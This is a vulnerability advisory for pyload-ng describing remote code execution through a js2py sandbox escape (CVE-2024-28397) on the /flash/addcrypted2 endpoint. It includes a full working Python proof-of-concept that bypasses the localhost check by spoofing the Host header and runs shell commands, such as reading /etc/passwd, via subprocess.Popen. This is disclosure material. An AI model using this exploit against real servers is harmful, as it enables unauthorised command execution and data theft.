Summary

pyload-ng vulnerable to RCE with js2py sandbox escape

Details

Summary

Any pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately.

Details

js2py has a vulnerability of sandbox escape assigned as CVE-2024-28397, which is used by the /flash/addcrypted2 API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE.

PoC

The PoC is provided as poc.py below, you can modify the shell command it execute:

```python import socket import base64 from urllib.parse import quote

host, port = input("host: "), int(input("port: "))

payload = """ // [+] command goes here: let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;" let hacked, bymarve, n11 let getattr, obj

hacked = Object.getOwnPropertyNames({}) bymarve = hacked.getattribute n11 = bymarve("getattribute") obj = n11("class").base getattr = obj.getattribute

function findpopen(o) { let result; for(let i in o.subclasses()) { let item = o.subclasses()[i] if(item.module == "subprocess" && item.name == "Popen") { return item } if(item.name != "type" && (result = findpopen(item))) { return result } } }

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate() console.log(n11) function f() { return n11 }

"""

crypted_b64 = base64.b64encode(b"1234").decode()

data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}"

request = f"""\ POST /flash/addcrypted2 HTTP/1.1 Host: 127.0.0.1:9666 Content-Type: application/x-www-form-urlencoded Content-Length: {len(data)}

{data} """.encode().replace(b"\n", b"\r\n")

def main():

s = socket.socket()
s.connect((host, port))

s.send(request)
response = s.recv(1024).decode()
print(response)

if name == "main": main()

```

Impact

Anyone who runs the latest version (<=0.5.0b3.dev85) of pyload-ng under python3.11 or below. pyload-ng doesn't use js2py for python3.12 or above.
